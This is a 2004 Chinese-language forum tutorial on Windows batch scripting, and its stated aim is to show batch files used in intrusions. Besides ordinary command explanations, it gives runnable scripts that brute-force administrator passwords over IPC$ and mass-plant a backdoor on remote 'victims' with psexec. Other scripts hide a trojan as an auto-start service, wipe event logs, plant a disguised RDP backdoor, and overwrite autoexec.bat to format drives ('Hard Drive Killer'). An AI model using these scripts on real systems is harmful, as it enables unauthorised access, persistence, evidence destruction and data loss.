史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 作業系統操作技術文件
忘記密碼?
論壇說明 標記討論區已讀

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2004-09-01, 11:14 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 簡明批次處理

  批次處理文件是無格式的文本文件,它包含一條或多條指令。它的文件副檔名為 .bat 或 .cmd。在指令提示下按鍵輸入批次處理文件的名稱,或者雙按該批次處理文件,系統就會使用Cmd.exe按照該檔案中各個指令出現的順序來逐個執行它們。使用批次處理文件(也被稱為批次處理程序或指令碼),可以簡化日常或重複性工作。當然我們的這個版本的主要內容是介紹批次處理在入侵中一些實際運用,例如我們後面要提到的用批次處理文件來給系統打修正檔、批量植入後門程序等。下面就開始我們批次處理學習之旅吧。

  一.簡單批次處理內部指令簡介

  1.Echo 指令

  開啟回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 指令將顯示當前回顯設定。

  語法

  echo [{on off}] [message]

  Sample:@echo off / echo hello world

  在實際套用中我們會把這條指令和重轉發IP符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些指令到特定格式的文件中.這將在以後的例子中體現出來。

  2.@ 指令

  表示不顯示@後面的指令,在入侵程序中(例如使用批次處理來格式化敵人的硬碟)自然不能讓對方看到你使用的指令啦。

  Sample:@echo off

  @echo Now initializing the program,please wait a minite...

  @format X: /q/u/autoset (format 這個指令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

  3.Goto 指令

  指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的指令。

  語法:goto label (label是參數,指定所要轉向的批次處理程序中的行。)

  Sample:

  if {%1}=={} goto noparms

  if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)

  @Rem check parameters if null show usage

  :noparms

  echo Usage: monitor.bat ServerIP PortNumber

  goto end

  標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤,goto指令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

  4.Rem 指令

  註釋指令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個註釋的作用,便於別人閱讀和你自己日後修改。

  Rem Message

  Sample:@Rem Here is the description.

  5.Pause 指令

  執行 Pause 指令時,將顯示下面的消息:

  Press any key to continue . . .

  Sample:

  @echo off

  :begin

  copy a:*.* d:\back

  echo Please put a new disk into driver A

  pause

  goto begin

  在這個例子中,驅動器 A 中磁牒上的所有文件均複製到d:\back中。顯示的註釋提示您將另一張磁牒放入驅動器 A 時,pause 指令會使程序掛起,以便您更換磁牒,然後按任意鍵繼續處理。

     6.Call 指令

  從一個批次處理程序使用另一個批次處理程序,並且不終止父批次處理程序。call 指令接受用作使用目標的標籤。如果在指令碼或批次處理文件外使用 Call,它將不會在指令行起作用。

  語法

  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

  參數

  [Drive:}[Path] FileName

  指定要使用的批次處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 副檔名。

  7.start 指令

  使用外部程序,所有的DOS指令和指令行程序都可以由start指令來使用。

  入侵常用參數:

  MIN 開始時視窗最小化

  SEPARATE 在分開的空間內開始 16 位 Windows 程序

  HIGH 在 HIGH 優先等級類別開始應用程式

  REALTIME 在 REALTIME 優先等級類別開始應用程式

  WAIT 啟動應用程式並等候它結束

  parameters 這些為傳送到指令/程序的參數

  執行的應用程式是 32-位 GUI 應用程式時,CMD.EXE 不等應用程式終止就返回指令提示。如果在指令指令碼內執行,該新行為則不會發生。

  8.choice 指令

  choice 使用此指令可以讓用戶輸入一個字串,從而執行不同的指令。使用時應該加/c:參數,c:後應寫提示可輸入的字串,之間無空格。它的返回碼為1234……

  如: choice /c:dme defrag,mem,end

  將顯示

  defrag,mem,end[D,M,E]?

  Sample:

  Sample.bat的內容如下:

  @echo off

  choice /c:dme defrag,mem,end

  if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)

  if errorlevel 2 goto mem

  if errotlevel 1 goto end

  :defrag

  c:\dos\defrag

  goto end

  :mem

  mem

  goto end

  :end

  echo good bye

  此文件執行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選項d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

  9.If 指令

  if 表示將判斷是否符合規定的條件,從而決定執行不同的指令。 有三種格式:

  1、if "參數" == "字串串"  待執行的指令

  參數如果等於指定的字串串,則條件成立,執行指令,否則執行下一句。(注意是兩個等號)

  如if "%1"=="a" format a:

  if {%1}=={} goto noparms

  if {%2}=={} goto noparms

  2、if exist 檔案名  待執行的指令

  如果有指定的文件,則條件成立,執行指令,否則執行下一句。

  如if exist config.sys edit config.sys

  3、if errorlevel / if not errorlevel 數位  待執行的指令

  如果返回碼等於指定的數位,則條件成立,執行指令,否則執行下一句。

  如if errorlevel 2 goto x2  

  DOS程序執行時都會返回一個數位給DOS,稱為錯誤碼errorlevel或稱返回碼,一般的返回碼為0、1。

 10.for 指令

  for 指令是一個比較複雜的指令,主要用於參數在指定的範圍內循環執行指令。

  在批次處理文件中使用 FOR 指令時,指定變數請使用 %%variable

  for {%variable %%variable} in (set) do command [ CommandLineOptions]

  %variable 指定一個單一字母可替換的參數。

  (set) 指定一個或一組文件。可以使用萬用字元。

  command 指定對每個文件執行的指令。

  command-parameters 為特定指令指定參數或指令行開關。

  在批次處理文件中使用 FOR 指令時,指定變數請使用 %%variable

  而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

  如果指令副檔名被啟用,下列額外的 FOR 指令格式會受到

  支持:

  FOR /D %variable IN (set) DO command [command-parameters]

  如果集中包含萬用字元,則指定與目錄名匹配,而不與檔案名匹配。

  FOR /R [[drive:]path] %variable IN (set) DO command [command-

  檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字串,則枚舉該目錄樹。

  FOR /L %variable IN (start,step,end) DO command [command-para

  該集表示以增量形式從開始到結束的一個數位序列。

  因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生

  序列 (5 4 3 2 1)。

  FOR /F ["options"] %variable IN (file-set) DO command

  FOR /F ["options"] %variable IN ("string") DO command

  FOR /F ["options"] %variable IN (command) DO command

  或者,如果有 usebackq 選項:

  FOR /F ["options"] %variable IN (file-set) DO command

  FOR /F ["options"] %variable IN ("string") DO command

  FOR /F ["options"] %variable IN (command) DO command

  filenameset 為一個或多個檔案名。繼續到 filenameset 中的

  下一個文件之前,每份文件都已被開啟、讀取並經過處理。

  處理包括讀取文件,將其分成一行行的文字,然後將每行

  解析成零或更多的符號。然後用已找到的符號字串串變數值

  使用 For 循環。以預設值方式,/F 通過每個文件的每一行中分開

  的第一個空白符號。跳過空白行。您可通過指定可選 "options"

  參數替代預設值解析操作。這個帶引號的字串串包括一個或多個

  指定不同解析選項的關鍵字。這些關鍵字為:

  eol=c - 指一個行註釋字串的結尾(就一個)

  skip=n - 指在文件開始時忽略的行數。

  delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的

  預設值分隔符集。

  tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代

  的 for 本身。這會導致額外變數名稱的

  格式為一個範圍。通過 nth 符號指定 m

  符號字串串中的最後一個字串星號,

  那麼額外的變數將在最後一個符號解析之

  分配並接受行的保留文本。

  usebackq - 指定新語法已在下類情況中使用:

  在作為指令執行一個後引號的字串串並且引號字串為文字字串串指令並允許在 fi中使用雙引號擴起檔案名稱。
sample1:

  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

  會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的檔案名,您需要用雙引號將檔案名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字串串的。

  %i 專門在 for 語句中得到說明,%j 和 %k 是通過

  tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試突說明一個高於字母 z 或Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的同時不能有 52 個以上都在使用中。

  您還可以在相鄰字串串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。這樣,該字串串會被當作一個文件中的一個單一輸入行。

  最後,您可以用 FOR /F 指令來分析指令的輸出。方法是,將括號之間的 filenameset 變成一個反括字串串。該字串串會被當作指令行,傳遞到一個子 CMD.EXE,其輸出會被抓進記憶體,並被當作文件分析。因此,以下例子:

  FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

  會枚舉當前環境中的環境變數名稱。

  另外,FOR 變數參照的替換已被增強。您現在可以使用下列

  選項語法:

  ~I - 移除任何引號("),擴充 %I

  %~fI - 將 %I 擴充到一個完全合格的路徑名

  %~dI - 僅將 %I 擴充到一個驅動器號

  %~pI - 僅將 %I 擴充到一個路徑

  %~nI - 僅將 %I 擴充到一個檔案名

  %~xI - 僅將 %I 擴充到一個文件副檔名

  %~sI - 擴充的路徑只含有短名

  %~aI - 將 %I 擴充到文件的文件內容

  %~tI - 將 %I 擴充到文件的日期/時間

  %~zI - 將 %I 擴充到文件的大小

  %~$PATH:I - 尋找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義,或者沒有找到文件,此組合鍵會擴充空字串串

  可以組合修飾符來得到多重結果:

  %~dpI - 僅將 %I 擴充到一個驅動器號和路徑

  %~nxI - 僅將 %I 擴充到一個檔案名和副檔名

  %~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名

  %~dp$PATH:i - 尋找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。

  %~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

  在以上例子中,%I 和 PATH 可用其他有效數值替代。%~ 語法

  用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。

  以上是MS的官方說明 ,下面我們舉幾個例子來具體說明一下For指令在入侵中的用途。

  sample2:

  利用For指令來實現對一台目標Win2k主機的暴力密碼破解。

  我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。

  最主要的指令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"

  用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 指令來連接。然後將程序執行結果傳遞給find指令--

  for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":指令成功完成">>D:\ok.txt ,這樣就ko了。

  sample3:

  你有沒有過手裡有大量目標物等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很鬱悶:)。文章開頭就談到使用批次處理文件,可以簡化日常或重複性工作。那麼如何實現呢?呵呵,看下去你就會明白了。

  主要指令也只有一條:(在批次處理文件中使用 FOR 指令時,指定變數使用 %%variable)

  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

  tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。

  而cultivate.bat無非就是用net use指令來建立IPC$連接,並copy木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。

  delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。

  程式碼雛形:

  --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

  @echo off

  @if "%1"=="" goto usage

  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

  @goto end

  :usage

  @echo run this batch in dos modle.or just double-click it.

  :end

  --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

  ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

  @net use \\%1\ipc$ %3 /u:"%2"

  @if errorlevel 1 goto failed

  @echo Trying to establish the IPC$ connection …………OK

  @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

  @psexec \\%1 c:\winnt\system32\windrv32.exe

  @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

  :failed

  @echo Sorry can not connected to the victim.

  ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

  這只是一個自動種植後門批次處理的雛形,兩個批次處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批次處理內容

  尚可增強,例如:加入清除日誌+DDOS的功能,加入定時增加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

  二.如何在批次處理文件中使用參數

  批次處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。

  sample1:fomat.bat

  @echo off

  if "%1"=="a" format a:

  :format

  @format a:/q/u/auotset

  @echo please insert another disk to driver A.

  @pause

  @goto fomat

  這個例子用於連續地格式化幾張軟碟,所以用的時候需在dos視窗輸入fomat.bat a,呵呵,好像有點畫蛇添足了∼^_^

  sample2:

  當我們要建立一個IPC$連接地時候總要輸入一大串指令,弄不好就打錯了,所以我們不如把一些類BIOS指令寫入一個批次處理,把目標物地ip password username 當著參數來賦給這個批次處理,這樣就不用每次都打指令了。

  @echo off

  @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這裡PASSWORD是第二個參數。

  @if errorlevel 1 echo connection failed

  怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.No.3

  三.如何使用組合指令(Compound Command)

  1.&

  Usage:第一條指令 & 第二條指令 [& 第三條指令...]

  用這種方法可以同時執行多條指令,而不管指令是否執行成功

  Sample:

  C:\>dir z: & dir c:\Ex4rch

  The system cannot find the path specified.

  Volume in drive C has no label.

  Volume Serial Number is 0078-59FB

  Directory of c:\Ex4rch

 
  
3.  

  Usage:第一條指令    第二條指令 [   第三條指令...]

  用這種方法可以同時執行多條指令,當碰到執行正確的指令後將不執行後面的指令,如果沒有出現正確的指令則一直執行完所有指令;

  Sample:

  C:\Ex4rch>dir sometips.gif    del sometips.gif

  Volume in drive C has no label.

  Volume Serial Number is 0078-59FB

  Directory of C:\Ex4rch

  2002-05-14 23:55 14 sometips.gif

  1 File(s) 14 bytes

  0 Dir(s) 768,696,320 bytes free

  組合指令使用的例子:

  sample:

  @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道指令的使用

  1.  指令

  Usage:第一條指令   第二條指令 [  第三條指令...]

  將第一條指令的結果作為第二條指令的參數來使用,記得在unix中這種方式很一般。

  sample:

  time /t>>D:\IP.log

  netstat -n -p tcp find ":3389">>D:\IP.log

  start Explorer

  看出來了麼?用於終端服務允許我們為用戶自訂起始的程序,來實現讓用戶執行下面這個bat,以獲得登入用戶的IP。

  2.>、>>輸出重轉發IP指令

  將一條指令或某個程序輸出結果的重轉發IP到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

  sample1:

  echo hello world>c:\hello.txt (stupid example?)

  sample2:

  時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程式後,對該目錄下的EXE和DLL文件作一個記錄:

  執行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

  這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,

  日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.

  這時我們用同樣的指令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後執行:

  CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC指令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過檢視新增時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件登出掉,再把它移到資源回收桶裡,若系統沒有異常反映再將之徹底移除或者提交給殺毒軟體公司。
3.< 、>& 、<&

  < 從文件中而不是從鍵盤中讀入指令輸入。

  >& 將一個關鍵句的輸出寫入到另一個關鍵句的輸入中。

  <& 從一個關鍵句讀取輸入並將其寫入到另一個關鍵句輸出中。

  這些並不常用,也就不多做介紹。

  No.5

  五.如何用批次處理文件來操作註冊表

  在入侵程序中經常回操作註冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門、木馬程序而移除Run下殘餘的鍵值。或者新增一個服務用以載入後門。當然我們也會修改註冊表來加固系統或者改變系統的某個內容,這些都需要我們對註冊表操作有一定的瞭解。下面我們就先學習一下如何使用.REG文件來操作註冊表.(我們可以用批次處理來產生一個REG文件)

  關於註冊表的操作,一般的是新增、修改、移除。

  1.新增

  新增分為兩種,一種是新增子項(Subkey)

  我們新增一個文件,內容如下:

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

  然後執行該指令碼,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下新增了一個名字為「hacker」的子項。

  另一種是新增一個項目名稱

  那這種文件格式就是典型的文件格式,和你從註冊表中匯出的文件格式一致,內容如下:

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"

  "Door"=C:\\WINNT\\system32\\door.exe

  "Autodos"=dword:02

  這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

  新增了:Invader、door、about這三個項目

  Invader的檔案類型是「String 類型」

  door的檔案類型是「REG SZ 類型」

  Autodos的檔案類型是「DWORD 類型」
2.修改

  修改相對來說比較簡單,只要把你需要修改的項目匯出,然後用記事本進行修改,然後匯入(regedit /s)即可。

  3.移除

  我們首先來說說移除一個項目名稱,我們新增一個如下的文件:

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

  "Ex4rch"=-

  執行該指令碼,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被移除了;

  我們再看看移除一個子項,我們新增一個如下的指令碼:

  Windows Registry Editor Version 5.00

  [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

  執行該指令碼,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被移除了。

  相信看到這裡,.reg文件你基本已經掌握了。那麼現在的目標就是用批次處理來新增特定內容的.reg文件了,記得我們前面說道的利用重轉發IP符號可以很容易地新增特定檔案類型的文件。
samlpe1:如上面的那個例子,如想產生如下註冊表文件

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

  "Invader"="Ex4rch"

  "door"=hex:255

  "Autodos"=dword:000000128

  只需要這樣:

  @echo Windows Registry Editor Version 5.00>>Sample.reg

  @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

  @echo "Invader"="Ex4rch">>Sample.reg

  @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

  @echo "Autodos"=dword:02>>Sample.reg

  samlpe2:

  我們現在在使用一些比較老的木馬時,可能會在註冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下產生一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將木馬程序註冊為系統服務則相對安全一些.下面以組態好地IRC木馬DSNX為例(名為windrv32.exe)

  @start windrv32.exe

  @attrib +h +r windrv32.exe

  @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

  @echo "windsnx "=- >>patch.dll

  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe

  @regedit /s patch.dll

  @delete patch.dll

  @REM [移除DSNXDE在註冊表中的啟動項,用sc.exe將之註冊為系統關鍵性服務的同時將其內容設為隱藏和只讀,並config為自啟動]

  @REM 這樣不是更安全^_^.
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2004-09-01, 11:18 AM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

 六.精彩實例放送。

  1.移除win2k/xp系統預設值共享的批次處理

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo preparing to delete all the default shares.when ready pres any key.

  @pause

  @echo off

  :Rem check parameters if null show usage.

  if {%1}=={} goto :Usage

  :Rem code start.

  echo.

  echo ------------------------------------------------------

  echo.

  echo Now deleting all the default shares.

  echo.

  net share %1$ /delete

  net share %2$ /delete

  net share %3$ /delete

  net share %4$ /delete

  net share %5$ /delete

  net share %6$ /delete

  net share %7$ /delete

  net share %8$ /delete

  net share %9$ /delete

  net stop Server

  net start Server

  echo.

  echo All the shares have been deleteed

  echo.

  echo ------------------------------------------------------

  echo.

  echo Now modify the registry to change the system default properties.

  echo.

  echo Now creating the registry file

  echo Windows Registry Editor Version 5.00> c:\delshare.reg

  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg

  echo "AutoShareWks"=dword:00000000>> c:\delshare.reg

  echo "AutoShareServer"=dword:00000000>> c:\delshare.reg

  echo Nowing using the registry file to chang the system default properties.

  regedit /s c:\delshare.reg

  echo Deleting the temprotarily files.

  del c:\delshare.reg

  goto :END  :Usage

  echo.

  echo ------------------------------------------------------

  echo.

  echo ☆ A example for batch file ☆

  echo ☆ [Use batch file to change the sysytem share properties.] ☆

  echo.

  echo Author:Ex4rch

  echo Mail:Ex4rch@hotmail.com QQ:1672602

  echo.

  echo Error:Not enough parameters

  echo.

  echo ☆ Please enter the share disk you wanna delete ☆

  echo.

  echo For instance,to delete the default shares:

  echo delshare c d e ipc admin print

  echo.

  echo If the disklable is not as C: D: E: ,Please chang it youself.

  echo.

  echo example:

  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :

  echo delshare c d e x y z ipc admin print

  echo.

  echo *** you can delete nine shares once in a useing ***

  echo.

  echo ------------------------------------------------------

  goto :EOF

  :END

  echo.

  echo ------------------------------------------------------

  echo.

  echo OK,delshare.bat has deleted all the share you assigned.

  echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

  echo

  echo.

  echo ------------------------------------------------------

  echo.

  :EOF

  echo end of the batch file

  ------------------------ cut here then save as .bat or .cmd file -----
  
 ------------------------ cut here then save as .bat or .cmd file ---------------------------

  下面指令是清除目標物所有日誌,禁止一些危險的服務,並修改目標物的terminnal service留跳後路。

  @regedit /s patch.dll

  @net stop w3svc

  @net stop event log

  @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q

  @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q

  @del c:\winnt\system32\config\*.event /f /q

  @del c:\winnt\system32dtclog\*.* /f /q

  @del c:\winnt\*.txt /f /q

  @del c:\winnt\*.log /f /q

  @net start w3svc

  @net start event log

  @rem [移除日誌]

  @net stop lanmanserver /y

  @net stop Schedule /y

  @net stop RemoteRegistry /y

  @del patch.dll

  @echo The server has been patched,Have fun.

  @del patch.bat

  @REM [禁止一些危險的服務。]

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll

  @echo "PortNumber"=dword:00002010 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll

  @echo "PortNumber"=dword:00002012 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll

  @echo "Start"=dword:00000002 >>patch.dll

  @echo "ErrorControl"=dword:00000001 >>patch.dll

  @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll

  @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll

  @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

  @echo "ObjectName"="LocalSystem" >>patch.dll

  @echo "Type"=dword:00000010 >>patch.dll

  @echo "Description"="Keep record of the program and windows message。" >>patch.dll

  @echo "DisplayName"="Microsoft EventLog" >>patch.dll

  @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll

  @echo "Start"=dword:00000004 >>patch.dll

  @copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe

  @REM [修改3389連接,連接阜為8210(十六進制為00002012),名稱為Microsoft EventLog,留條後路]
3.Hard Drive Killer Pro Version 4.0(玩批次處理到這個水準真的不容易了。)

  ------------------------ cut here then save as .bat or .cmd file ---------------------------

  @echo off

  rem This program is dedecated to a very special person that does not want to be named.

  :start

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  call attrib -r -h c:\autoexec.bat >nul

  echo @echo off >c:\autoexec.bat

  echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat

  call attrib +r +h c:\autoexec.bat >nul

  rem Drive checking and assigning the valid drives to the drive variable.

  set drive=

  set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

  rem code insertion for Drive Checking takes place here.

  rem drivechk.bat is the file name under the root directory.

  rem As far as the drive detection and drive variable settings, dont worry about how it

  rem works, its d\*amn to complicated for the average or even the expert batch programmer.

  rem Except for Tom Lavedas.

  echo @echo off >drivechk.bat

  echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 goto enddc >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem When errorlevel is 1, then the above is not true, if 0, then its true.

  rem Opposite of binary rules. If 0, it will elaps to the next command.

  echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 goto enddc >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

  rem if errorlevel is 0, then it will elaps to the next command.

  echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

  %comspec% /e:2048 /c {t}.bat >>drivechk.bat

  del {t}.bat

  echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

  cls

  echo PLEASE WAIT WHILE PROGRAM LOADS . . .

  rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

  rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
 echo :enddc >>drivechk.bat

  rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

  rem Now we will use the program drivechk.bat to attain valid drive information.

  :Sampledrv

  for %%a in (%alldrive%) do call drivechk.bat %%a >nul

  del drivechk.bat >nul

  if %drive.==. set drive=c

  :form_del

  call attrib -r -h c:\autoexec.bat >nul

  echo @echo off >c:\autoexec.bat

